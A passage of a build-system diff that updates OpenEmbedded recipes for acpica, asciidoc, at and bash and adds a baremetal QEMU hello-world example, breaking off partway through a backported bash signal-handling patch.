-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch88
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch47
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch96
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch34
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0002-unix.c-Do-not-redefine-DIR-as-FILE.patch35
-rw-r--r--meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch2
-rw-r--r--meta/recipes-extended/zip/zip-3.0/fix-security-format.patch2
-rw-r--r--meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch2
-rw-r--r--meta/recipes-extended/zip/zip_3.0.bb11
-rw-r--r--meta/recipes-extended/zstd/zstd/0001-pzstd-use-directly-for-the-test-c-snippet.patch39
-rw-r--r--meta/recipes-extended/zstd/zstd_1.5.5.bb47
328 files changed, 6634 insertions, 7644 deletions
diff --git a/meta/recipes-extended/acpica/acpica_20200528.bb b/meta/recipes-extended/acpica/acpica_20240322.bb
index d68afd8158..90e3599d32 100644
--- a/meta/recipes-extended/acpica/acpica_20200528.bb
+++ b/meta/recipes-extended/acpica/acpica_20240322.bb
@@ -6,27 +6,25 @@ ACPI meant to be directly integrated into the host OS as a kernel-resident \
subsystem, and a small set of tools to assist in developing and debugging \
ACPI tables."
-HOMEPAGE = "http://www.acpica.org/"
+HOMEPAGE = "https://www.intel.com/content/www/us/en/developer/topic-technology/open/acpica/overview.html"
SECTION = "console/tools"
-LICENSE = "Intel | BSD | GPLv2"
-LIC_FILES_CHKSUM = "file://source/compiler/aslcompile.c;beginline=7;endline=150;md5=6adbcb81e9ee6ae50c569b94fe12f7c5"
+LICENSE = "Intel | BSD-3-Clause | GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://source/compiler/aslcompile.c;beginline=7;endline=150;md5=05eb845b15a27440410f456adc2ed082"
COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux"
DEPENDS = "m4-native flex-native bison-native"
-SRC_URI = "https://acpica.org/sites/acpica/files/acpica-unix-${PV}.tar.gz"
-SRC_URI[sha256sum] = "e69f81c6924c8d30f9b9005bb002307f07b5a1538e13c909bea2f8a44e0d8610"
+SRC_URI = "git://github.com/acpica/acpica;protocol=https;branch=master"
+SRCREV = "170fc3076a86777077637f10b05c32ac21ac13aa"
-UPSTREAM_CHECK_URI = "https://acpica.org/downloads"
-
-S = "${WORKDIR}/acpica-unix-${PV}"
+S = "${WORKDIR}/git"
inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "acpixtract acpidump"
+ALTERNATIVE:${PN} = "acpixtract acpidump"
EXTRA_OEMAKE = "CC='${CC}' \
OPT_CFLAGS=-Wall \
@@ -34,6 +32,8 @@ EXTRA_OEMAKE = "CC='${CC}' \
PREFIX=${prefix} \
INSTALLDIR=${bindir} \
INSTALLFLAGS= \
+ YACC=bison \
+ YFLAGS='-y --file-prefix-map=${WORKDIR}=${TARGET_DBGSRC_DIR}' \
"
do_install() {
@@ -42,8 +42,8 @@ do_install() {
# iasl*.bb is a subset of this recipe, so RREPLACE it
PROVIDES = "iasl"
-RPROVIDES_${PN} += "iasl"
-RREPLACES_${PN} += "iasl"
-RCONFLICTS_${PN} += "iasl"
+RPROVIDES:${PN} += "iasl"
+RREPLACES:${PN} += "iasl"
+RCONFLICTS:${PN} += "iasl"
-BBCLASSEXTEND = "native"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch b/meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch
deleted file mode 100644
index ca170db00f..0000000000
--- a/meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-If SGML_CATALOG_FILES is in the environment, pass --catalogs to xmllint and
-xsltproc. Also pass --nonet to xsltproc to detect future missing stylesheet
-problems.
-
-An earlier version of this patch was filed upstream at
-https://github.com/asciidoc/asciidoc-py3/issues/61 so depending on how that goes
-this could get merged.
-
-Upstream-Status: Inappropriate
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff --git a/a2x.py b/a2x.py
-index 2d7699a..582d809 100755
---- a/a2x.py
-+++ b/a2x.py
-@@ -57,6 +57,10 @@ LYNX_OPTS = '-dump'
- W3M_OPTS = '-dump -cols 70 -T text/html -no-graph'
- XSLTPROC_OPTS = ''
-
-+if "SGML_CATALOG_FILES" in os.environ:
-+ XMLLINT += " --catalogs"
-+ XSLTPROC += " --catalogs"
-+
- ######################################################################
- # End of configuration file parameters.
- ######################################################################
-@@ -298,7 +302,7 @@ def exec_xsltproc(xsl_file, xml_file, dst_dir, opts = ''):
- cwd = os.getcwd()
- shell_cd(dst_dir)
- try:
-- shell('"%s" %s "%s" "%s"' % (XSLTPROC, opts, xsl_file, xml_file))
-+ shell('%s %s "%s" "%s"' % (XSLTPROC, opts, xsl_file, xml_file))
- finally:
- shell_cd(cwd)
-
-@@ -483,7 +487,7 @@ class A2X(AttrDict):
- self.asciidoc_opts += ' --doctype %s' % self.doctype
- for attr in self.attributes:
- self.asciidoc_opts += ' --attribute "%s"' % attr
--# self.xsltproc_opts += ' --nonet'
-+ self.xsltproc_opts += ' --nonet'
- if self.verbose:
- self.asciidoc_opts += ' --verbose'
- self.dblatex_opts += ' -V'
-@@ -634,7 +638,7 @@ class A2X(AttrDict):
- shell('"%s" --backend docbook -a "a2x-format=%s" %s --out-file "%s" "%s"' %
- (self.asciidoc, self.format, self.asciidoc_opts, docbook_file, self.asciidoc_file))
- if not self.no_xmllint and XMLLINT:
-- shell('"%s" --nonet --noout --valid "%s"' % (XMLLINT, docbook_file))
-+ shell('%s --nonet --noout --valid "%s"' % (XMLLINT, docbook_file))
-
- def to_xhtml(self):
- self.to_docbook()
diff --git a/meta/recipes-extended/asciidoc/asciidoc_9.0.1.bb b/meta/recipes-extended/asciidoc/asciidoc_10.2.0.bb
index 2f841de065..e112eb513d 100644
--- a/meta/recipes-extended/asciidoc/asciidoc_9.0.1.bb
+++ b/meta/recipes-extended/asciidoc/asciidoc_10.2.0.bb
@@ -4,13 +4,13 @@ articles, books and UNIX man pages."
HOMEPAGE = "http://asciidoc.org/"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=4e5d1baf6f20559e3bec172226a47e4e \
- file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263 "
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=aaee33adce0fc7cc40fee23f82f7f101 \
+ file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ "
-SRC_URI = "git://github.com/asciidoc/asciidoc-py3;protocol=https \
- file://auto-catalogs.patch"
-SRCREV = "fce6bd87fbdef5e510310464b02a75fb32f72f74"
+SRC_URI = "git://github.com/asciidoc/asciidoc-py;protocol=https;branch=main"
+SRCREV = "545b79b8d7dae70d12bf0657359bdd36de0c5c26"
DEPENDS = "libxml2-native libxslt-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
@@ -20,12 +20,9 @@ S = "${WORKDIR}/git"
# opens /etc/xml/catalog on the host. Depends on auto-catalogs.patch
export SGML_CATALOG_FILES="file://${STAGING_ETCDIR_NATIVE}/xml/catalog"
-# Not using automake
-inherit autotools-brokensep
+inherit setuptools3
CLEANBROKEN = "1"
-# target and nativesdk needs python3, but for native we can use the host.
-RDEPENDS_${PN} += "python3"
-RDEPENDS_remove_class-native = "python3"
-
BBCLASSEXTEND = "native nativesdk"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))$"
diff --git a/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch b/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch
index 7fdecc7fd1..fd57f94cd5 100644
--- a/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch
+++ b/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch
@@ -18,21 +18,21 @@ Signed-off-by: Dengke Du <dengke.du@windriver.com>
parsetime.y | 11 +++++++----
1 file changed, 7 insertions(+), 4 deletions(-)
-diff --git a/parsetime.y b/parsetime.y
-index 7005e88..324e6d3 100644
---- a/parsetime.y
-+++ b/parsetime.y
-@@ -8,6 +8,9 @@
-
- #define YYDEBUG 1
+Index: at-3.2.1/parsetime.y
+===================================================================
+--- at-3.2.1.orig/parsetime.y
++++ at-3.2.1/parsetime.y
+@@ -14,6 +14,9 @@
+ ((y) % 4 == 0 && ((y) % 100 != 0 || (y) % 400 == 0))
+ #endif
+#define is_leap_year(y) \
+ ((y) % 4 == 0 && ((y) % 100 != 0 || (y) % 400 == 0))
+
struct tm exectm;
static int isgmt;
- static int yearspec;
-@@ -217,8 +220,8 @@ date : month_name day_number
+ static char *tz = NULL;
+@@ -230,8 +233,8 @@ date : month_name day_number
mnum == 12) && dnum > 31)
|| ((mnum == 4 || mnum == 6 || mnum == 9 ||
mnum == 11) && dnum > 30)
@@ -43,7 +43,7 @@ index 7005e88..324e6d3 100644
)
{
yyerror("Error in day of month");
-@@ -261,8 +264,8 @@ date : month_name day_number
+@@ -274,8 +277,8 @@ date : month_name day_number
mnum == 12) && dnum > 31)
|| ((mnum == 4 || mnum == 6 || mnum == 9 ||
mnum == 11) && dnum > 30)
@@ -54,6 +54,3 @@ index 7005e88..324e6d3 100644
)
{
yyerror("Error in day of month");
---
-2.8.1
-
diff --git a/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch b/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch
index d5ef0032be..11023bdf52 100644
--- a/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch
+++ b/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch
@@ -10,11 +10,11 @@ update the Copyright file information to reflect the replaced files.
Date: 2010/08/31
Nitin A Kamble nitin.a.kamble@intel.com
-Index: at-3.1.12/Copyright
+Index: at-3.2.1/Copyright
===================================================================
---- at-3.1.12.orig/Copyright
-+++ at-3.1.12/Copyright
-@@ -31,10 +31,10 @@ The files posixtm.c and posixtm.h have t
+--- at-3.2.1.orig/Copyright
++++ at-3.2.1/Copyright
+@@ -34,10 +34,10 @@ The files posixtm.c and posixtm.h have t
Copyright (C) 1989, 1990, 1991, 1998, 2000, 2001, 2002, 2003, 2004,
2005, 2006, 2007 Free Software Foundation Inc.
diff --git a/meta/recipes-extended/at/at/fix_parallel_build_error.patch b/meta/recipes-extended/at/at/fix_parallel_build_error.patch
deleted file mode 100644
index 30d2324126..0000000000
--- a/meta/recipes-extended/at/at/fix_parallel_build_error.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From 24ef2a6544f9c7ec01bc7ae73dffa2974a1e251d Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Wed, 5 Dec 2018 09:46:22 +0800
-Subject: [PATCH] fix parallel build error
-
-make -j was failing sometimesa like this
-| ccache i586-poky-linux-gcc -march=i586 --sysroot=/home/nitin/build/build0/tmp/sysroots/i586-poky-linux -I. -fexpensive-optimizations -fomit-frame-pointer -frename-registers -O2 -ggdb -feliminate-unused-debug-types -o atd atd.o daemon.o -lfl -lpam -Wl,-O1 -Wl,--as-needed
-| parsetime.l:5:19: fatal error: y.tab.h: No such file or directory
-| compilation terminated.
-| make: *** [lex.yy.o] Error 1
-| make: *** Waiting for unfinished jobs....
-
-Fixed the issue by adding a dependency in the makefile.
-Nitin <nitin.a.kamble@intel.com>
-2010/09/02
-
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- Makefile.in | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/Makefile.in b/Makefile.in
-index 4c11913..18ecc23 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -83,6 +83,8 @@ y.tab.c y.tab.h: parsetime.y
- lex.yy.c: parsetime.l
- $(LEX) -i parsetime.l
-
-+parsetime.l: y.tab.h
-+
- atd.service: atd.service.in
- cat $< | sed -e 's![@]sbindir[@]!$(sbindir)!g' | sed -e 's![@]atjobdir[@]!$(atjobdir)!g' > $@
-
---
-2.7.4
-
diff --git a/meta/recipes-extended/at/at/makefile-fix-parallel.patch b/meta/recipes-extended/at/at/makefile-fix-parallel.patch
index d6056dceff..adb8652053 100644
--- a/meta/recipes-extended/at/at/makefile-fix-parallel.patch
+++ b/meta/recipes-extended/at/at/makefile-fix-parallel.patch
@@ -15,11 +15,11 @@ Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
Makefile | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
-Index: at-3.1.20/Makefile.in
+Index: at-3.2.1/Makefile.in
===================================================================
---- at-3.1.20.orig/Makefile.in
-+++ at-3.1.20/Makefile.in
-@@ -76,7 +76,9 @@ at: $(ATOBJECTS)
+--- at-3.2.1.orig/Makefile.in
++++ at-3.2.1/Makefile.in
+@@ -77,7 +77,9 @@ at: $(ATOBJECTS)
atd: $(RUNOBJECTS)
$(CC) $(LDFLAGS) -o atd $(RUNOBJECTS) $(LIBS) $(PAMLIB) $(SELINUXLIB)
diff --git a/meta/recipes-extended/at/at_3.1.23.bb b/meta/recipes-extended/at/at_3.2.5.bb
index b74882d342..c0c876a644 100644
--- a/meta/recipes-extended/at/at_3.1.23.bb
+++ b/meta/recipes-extended/at/at_3.2.5.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "http://blog.calhariz.com/"
DESCRIPTION = "At allows for commands to be run at a particular time. Batch will execute commands when \
the system load levels drop to a particular level."
SECTION = "base"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=4325afd396febcb659c36b49533135d4"
DEPENDS = "flex flex-native bison-native \
${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
@@ -14,33 +14,29 @@ PACKAGECONFIG ?= "\
PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux,"
-RDEPENDS_${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_DEPS}', '', d)} \
+RDEPENDS:${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_DEPS}', '', d)} \
"
PAM_DEPS = "libpam libpam-runtime pam-plugin-env pam-plugin-limits"
-RCONFLICTS_${PN} = "atd"
-RREPLACES_${PN} = "atd"
-
-SRC_URI = "http://snapshot.debian.org/archive/debian/20180825T090248Z/pool/main/a/${BPN}/${BPN}_${PV}.orig.tar.gz \
- file://fix_parallel_build_error.patch \
- file://posixtm.c \
- file://posixtm.h \
- file://file_replacement_with_gplv2.patch \
- file://atd.init \
- file://atd.service \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
- file://makefile-fix-parallel.patch \
- file://0001-remove-glibc-assumption.patch \
- "
+RCONFLICTS:${PN} = "atd"
+RREPLACES:${PN} = "atd"
+
+SRC_URI = "${DEBIAN_MIRROR}/main/a/at/${BPN}_${PV}.orig.tar.gz \
+ file://posixtm.c \
+ file://posixtm.h \
+ file://file_replacement_with_gplv2.patch \
+ file://atd.init \
+ file://atd.service \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
+ file://makefile-fix-parallel.patch \
+ file://0001-remove-glibc-assumption.patch \
+ "
PAM_SRC_URI = "file://pam.conf.patch \
file://configure-add-enable-pam.patch"
-SRC_URI[md5sum] = "1cec945506b5ddf1d776c92c315fc581"
-SRC_URI[sha256sum] = "97450aa954aaa8a70218cc8e61a33df9fee9f86527e9f861de302fb7a3c81710"
-
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/a/at/"
+SRC_URI[sha256sum] = "bb066b389d7c9bb9d84a35738032b85c30cba7d949f758192adc72c9477fd3b8"
EXTRA_OECONF += "ac_cv_path_SENDMAIL=/bin/true \
--with-daemon_username=root \
@@ -54,12 +50,13 @@ inherit autotools-brokensep systemd update-rc.d
INITSCRIPT_NAME = "atd"
INITSCRIPT_PARAMS = "defaults"
-SYSTEMD_SERVICE_${PN} = "atd.service"
+SYSTEMD_SERVICE:${PN} = "atd.service"
+
+do_patch[postfuncs] += "copy_posix_files"
-copy_sources() {
- cp -f ${WORKDIR}/posixtm.[ch] ${S}
+copy_posix_files() {
+ cp -f ${WORKDIR}/posixtm.[ch] ${S}
}
-do_patch[postfuncs] += "copy_sources"
do_install () {
oe_runmake -e "IROOT=${D}" install
@@ -68,11 +65,12 @@ do_install () {
install -m 0755 ${WORKDIR}/atd.init ${D}${sysconfdir}/init.d/atd
# install systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/atd.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_unitdir}/system/atd.service
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/atd.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_system_unitdir}/atd.service
if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
install -D -m 0644 ${WORKDIR}/${BP}/pam.conf ${D}${sysconfdir}/pam.d/atd
fi
+ rm -f ${D}${datadir}/at/batch-job
}
diff --git a/meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb b/meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb
new file mode 100644
index 0000000000..6832ccc541
--- /dev/null
+++ b/meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb
@@ -0,0 +1,72 @@
+SUMMARY = "Baremetal examples to work with the several QEMU architectures supported on OpenEmbedded"
+HOMEPAGE = "https://github.com/aehs29/baremetal-helloqemu"
+DESCRIPTION = "These are introductory examples to showcase the use of QEMU to run baremetal applications."
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=39346640a23c701e4f459e05f56f4449"
+
+SRCREV = "db2bf750eaef7fc0832e13ada8291343bbcc3afe"
+PV = "0.1+git"
+
+SRC_URI = "git://github.com/ahcbb6/baremetal-helloqemu.git;protocol=https;branch=master"
+UPSTREAM_VERSION_UNKNOWN="1"
+
+S = "${WORKDIR}/git"
+
+# The following variables should be set to accomodate each application
+BAREMETAL_BINNAME ?= "hello_baremetal_${MACHINE}"
+IMAGE_LINK_NAME ?= "baremetal-helloworld-image-${MACHINE}"
+IMAGE_NAME_SUFFIX ?= ""
+
+# Baremetal-Image creates the proper wiring, assumes the output is provided in
+# binary and ELF format, installed on ${base_libdir}/firmware/ , we want a
+# package to be created since we might have some way of updating the baremetal
+# firmware from Linux
+inherit baremetal-image
+
+
+# startup code for x86 uses NASM syntax
+DEPENDS:qemux86:append = " nasm-native"
+
+# These parameters are app specific for this example
+# This will be translated automatically to the architecture and
+# machine that QEMU uses on OE, e.g. -machine virt -cpu cortex-a57
+# but the examples can also be run on other architectures/machines
+# such as vexpress-a15 by overriding the setting on the machine.conf
+COMPATIBLE_MACHINE = "qemuarmv5|qemuarm|qemuarm64|qemuriscv64|qemuriscv32|qemux86|qemux86-64"
+
+BAREMETAL_QEMUARCH ?= ""
+BAREMETAL_QEMUARCH:qemuarmv5 = "versatile"
+BAREMETAL_QEMUARCH:qemuarm = "arm"
+BAREMETAL_QEMUARCH:qemuarm64 = "aarch64"
+BAREMETAL_QEMUARCH:qemuriscv64 = "riscv64"
+BAREMETAL_QEMUARCH:qemuriscv32 = "riscv32"
+BAREMETAL_QEMUARCH:qemux86 = "x86"
+BAREMETAL_QEMUARCH:qemux86-64 = "x86-64"
+
+EXTRA_OEMAKE:append = " QEMUARCH=${BAREMETAL_QEMUARCH} V=1"
+
+# qemux86-64 uses a different Makefile
+do_compile:prepend:qemux86-64(){
+ cd x86-64
+}
+
+# Install binaries on the proper location for baremetal-image to fetch and deploy
+do_install(){
+ install -d ${D}/${base_libdir}/firmware
+ install -m 755 ${B}/build/hello_baremetal_${BAREMETAL_QEMUARCH}.bin ${D}/${base_libdir}/firmware/${BAREMETAL_BINNAME}.bin
+ install -m 755 ${B}/build/hello_baremetal_${BAREMETAL_QEMUARCH}.elf ${D}/${base_libdir}/firmware/${BAREMETAL_BINNAME}.elf
+}
+
+FILES:${PN} += " \
+ ${base_libdir}/firmware/${BAREMETAL_BINNAME}.bin \
+ ${base_libdir}/firmware/${BAREMETAL_BINNAME}.elf \
+"
+
+# qemux86-64 boots from iso rather than -kernel, create image to boot from
+do_image:append:qemux86-64(){
+ dd if=/dev/zero of=${B}/build/img.iso bs=1M count=10 status=none
+ dd if=${B}/build/stage1.bin of=${B}/build/img.iso bs=512 count=1 conv=notrunc
+ dd if=${B}/build/stage2.bin of=${B}/build/img.iso bs=512 seek=1 count=64 conv=notrunc
+ dd if=${B}/build/hello_baremetal_x86-64.bin of=${B}/build/img.iso bs=512 seek=65 conv=notrunc
+ install ${B}/build/img.iso ${IMGDEPLOYDIR}/${IMAGE_LINK_NAME}.iso
+}
diff --git a/meta/recipes-extended/bash/bash.inc b/meta/recipes-extended/bash/bash.inc
index 1ebb33bdcd..e541161c75 100644
--- a/meta/recipes-extended/bash/bash.inc
+++ b/meta/recipes-extended/bash/bash.inc
@@ -1,12 +1,13 @@
SUMMARY = "An sh-compatible command language interpreter"
HOMEPAGE = "http://tiswww.case.edu/php/chet/bash/bashtop.html"
+DESCRIPTION = "Bash is the GNU Project's Bourne Again SHell, a complete implementation of the IEEE POSIX and Open Group shell specification with interactive command line editing, job control on architectures that support it, csh-like features such as history substitution and brace expansion, and a slew of other features."
SECTION = "base/shell"
DEPENDS = "ncurses bison-native virtual/libiconv"
inherit autotools gettext texinfo update-alternatives ptest
-EXTRA_AUTORECONF += "--exclude=autoheader --exclude=aclocal"
+EXTRA_AUTORECONF += "--exclude=autoheader"
EXTRA_OECONF = "--enable-job-control --without-bash-malloc bash_cv_wexitstatus_offset=8"
# If NON_INTERACTIVE_LOGIN_SHELLS is defined, all login shells read the
@@ -14,18 +15,25 @@ EXTRA_OECONF = "--enable-job-control --without-bash-malloc bash_cv_wexitstatus_o
# This is what other major distros do. And this is what we wanted. See bug#5359 and bug#7137.
CFLAGS += "-DNON_INTERACTIVE_LOGIN_SHELLS"
-ALTERNATIVE_${PN} = "bash sh"
+# This can vary depending upon the host
+CFLAGS += "-DHEREDOC_PIPESIZE=65536"
+
+# Disable bracketed paste mode by default (enabled by default in bash 5.1). It
+# causes a lot of garbage in non-interactive shells
+CFLAGS += "-DBRACKETED_PASTE_DEFAULT=0"
+
+ALTERNATIVE:${PN} = "bash sh"
ALTERNATIVE_LINK_NAME[bash] = "${base_bindir}/bash"
ALTERNATIVE_TARGET[bash] = "${base_bindir}/bash"
ALTERNATIVE_LINK_NAME[sh] = "${base_bindir}/sh"
ALTERNATIVE_TARGET[sh] = "${base_bindir}/bash.${BPN}"
ALTERNATIVE_PRIORITY = "100"
-RDEPENDS_${PN} += "base-files"
-RDEPENDS_${PN}_class-nativesdk = ""
-RDEPENDS_${PN}-ptest += "make coreutils perl sed shadow util-linux-setpriv"
+RDEPENDS:${PN} += "base-files"
+RDEPENDS:${PN}:class-nativesdk = ""
+RDEPENDS:${PN}-ptest += "make coreutils perl sed shadow util-linux-setpriv"
-RDEPENDS_${PN}-ptest_append_libc-glibc = " \
+RDEPENDS:${PN}-ptest:append:libc-glibc = " \
glibc-gconv-big5hkscs \
glibc-gconv-iso8859-1 \
glibc-utils \
@@ -38,7 +46,13 @@ RDEPENDS_${PN}-ptest_append_libc-glibc = " \
CACHED_CONFIGUREVARS += "headersdir=${includedir}/${PN}"
-do_compile_prepend() {
+do_configure:prepend () {
+ if [ ! -e ${S}/acinclude.m4 ]; then
+ cat ${S}/aclocal.m4 > ${S}/acinclude.m4
+ fi
+}
+
+do_compile:prepend() {
# Remove any leftover .build files. This ensures that bash always has the
# same version number and keeps builds reproducible
rm -f ${B}/.build
@@ -48,14 +62,20 @@ do_compile_ptest () {
oe_runmake buildtest
}
-do_install_append () {
+do_install:prepend () {
+ # Ensure determinism as this counter increases for each make call
+ rm -f ${B}/.build
+}
+
+do_install:append () {
# Move /usr/bin/bash to /bin/bash, if need
if [ "${base_bindir}" != "${bindir}" ]; then
mkdir -p ${D}${base_bindir}
mv ${D}${bindir}/bash ${D}${base_bindir}
fi
}
-do_install_append_class-target () {
+
+fix_absolute_paths () {
# Clean buildhost references in bashbug
sed -i -e "s,--sysroot=${STAGING_DIR_TARGET},,g" \
-e "s,-I${WORKDIR}/\S* ,,g" \
@@ -74,12 +94,24 @@ do_install_append_class-target () {
${D}${libdir}/bash/Makefile.inc
}
+do_install:append:class-target () {
+ fix_absolute_paths
+}
+
+do_install:append:class-nativesdk () {
+ fix_absolute_paths
+}
+
do_install_ptest () {
make INSTALL_TEST_DIR=${D}${PTEST_PATH}/tests install-test
cp ${B}/Makefile ${D}${PTEST_PATH}
+ cp ${B}/config.h ${D}${PTEST_PATH}
+ cp ${B}/version.h ${D}${PTEST_PATH}
+ cp ${S}/y.tab.[ch] ${D}${PTEST_PATH}
install -D ${WORKDIR}/run-bash-ptests ${D}${PTEST_PATH}/run-bash-ptests
sed -i -e 's/^Makefile/_Makefile/' -e "s,--sysroot=${STAGING_DIR_TARGET},,g" \
-e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's|${BUILD_LDFLAGS}||g' \
-e "s,${S},,g" -e "s,${B},,g" -e "s,${STAGING_DIR_NATIVE},,g" \
-e 's:${HOSTTOOLS_DIR}/::g' \
-e 's:${UNINATIVE_LOADER}:${base_bindir}/false:g' \
@@ -90,20 +122,22 @@ do_install_ptest () {
# hash
do_install_ptest[vardepsexclude] += "UNINATIVE_LOADER"
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
grep -q "^${base_bindir}/bash$" $D${sysconfdir}/shells || echo ${base_bindir}/bash >> $D${sysconfdir}/shells
}
-pkg_postrm_${PN} () {
+pkg_postrm:${PN} () {
printf "$(grep -v "^${base_bindir}/bash$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells
}
PACKAGES += "${PN}-bashbug"
-FILES_${PN} = "${bindir}/bash ${base_bindir}/bash.bash"
-FILES_${PN}-bashbug = "${bindir}/bashbug"
+FILES:${PN} = "${bindir}/bash ${base_bindir}/bash.bash"
+FILES:${PN}-bashbug = "${bindir}/bashbug"
PACKAGE_BEFORE_PN += "${PN}-loadable"
-RDEPENDS_${PN}-loadable += "${PN}"
-FILES_${PN}-loadable += "${libdir}/bash/*"
+RDEPENDS:${PN}-loadable += "${PN}"
+FILES:${PN}-loadable += "${libdir}/bash/*"
-RPROVIDES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/bash', '', d)}"
+# Limit the RPROVIDES here to class target so that if usrmerge is enabled for nativesdk, it does not
+# include host system paths in /bin/
+RPROVIDES:${PN}:append:class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/bash', '', d)}"
diff --git a/meta/recipes-extended/bash/bash/0001-changes-to-SIGINT-handler-while-waiting-for-a-child-.patch b/meta/recipes-extended/bash/bash/0001-changes-to-SIGINT-handler-while-waiting-for-a-child-.patch
new file mode 100644
index 0000000000..77d770b364
--- /dev/null
+++ b/meta/recipes-extended/bash/bash/0001-changes-to-SIGINT-handler-while-waiting-for-a-child-.patch
@@ -0,0 +1,226 @@
+From 721d5be99eb37d31e48bd66d61808a66a4c5ab84 Mon Sep 17 00:00:00 2001
+From: Chet Ramey <chet.ramey@case.edu>
+Date: Mon, 30 Oct 2023 12:16:07 -0400
+Subject: [PATCH] changes to SIGINT handler while waiting for a child; skip
+ vertical whitespace after translating an integer
+
+Upstream-Status: Backport from
+[https://git.savannah.gnu.org/cgit/bash.git/commit/?h=devel&id=fe24a6a55e8850298b496c5b9d82f1866eba190e]
+
+[Adjust and drop some codes to be applicable the tree]
+
+Signed-off-by: Xiangyu Chen <xiangyu.chen@windriver.com>
+---
+ general.c | 5 +++--
+ jobs.c | 24 ++++++++++++++++--------
+ tests/redir.right | 4 ++--
+ tests/redir11.sub | 2 ++
+ tests/type.right | 16 ++++++++--------
+ tests/type.tests | 24 ++++++++++++------------
+ 6 files changed, 43 insertions(+), 32 deletions(-)
+
+diff --git a/general.c b/general.c
+index 85c5a8b6..65e2ee06 100644
+--- a/general.c
++++ b/general.c
+@@ -262,8 +262,9 @@ legal_number (string, result)
+ if (errno || ep == string)
+ return 0; /* errno is set on overflow or underflow */
+
+- /* Skip any trailing whitespace, since strtoimax does not. */
+- while (whitespace (*ep))
++ /* Skip any trailing whitespace, since strtoimax does not, using the same
++ test that strtoimax uses for leading whitespace. */
++ while (isspace ((unsigned char) *ep))
+ ep++;
+
+ /* If *string is not '\0' but *ep is '\0' on return, the entire string
+diff --git a/jobs.c b/jobs.c
+index 6b986ed7..262d78de 100644
+--- a/jobs.c
++++ b/jobs.c
+@@ -2718,6 +2718,10 @@ wait_for_background_pids (ps)
+ #define INVALID_SIGNAL_HANDLER (SigHandler *)wait_for_background_pids
+ static SigHandler *old_sigint_handler = INVALID_SIGNAL_HANDLER;
+
++/* The current SIGINT handler as set by restore_sigint_handler. Only valid
++ immediately after restore_sigint_handler, used for continuations. */
++static SigHandler *cur_sigint_handler = INVALID_SIGNAL_HANDLER;
++
+ static int wait_sigint_received;
+ static int child_caught_sigint;
+
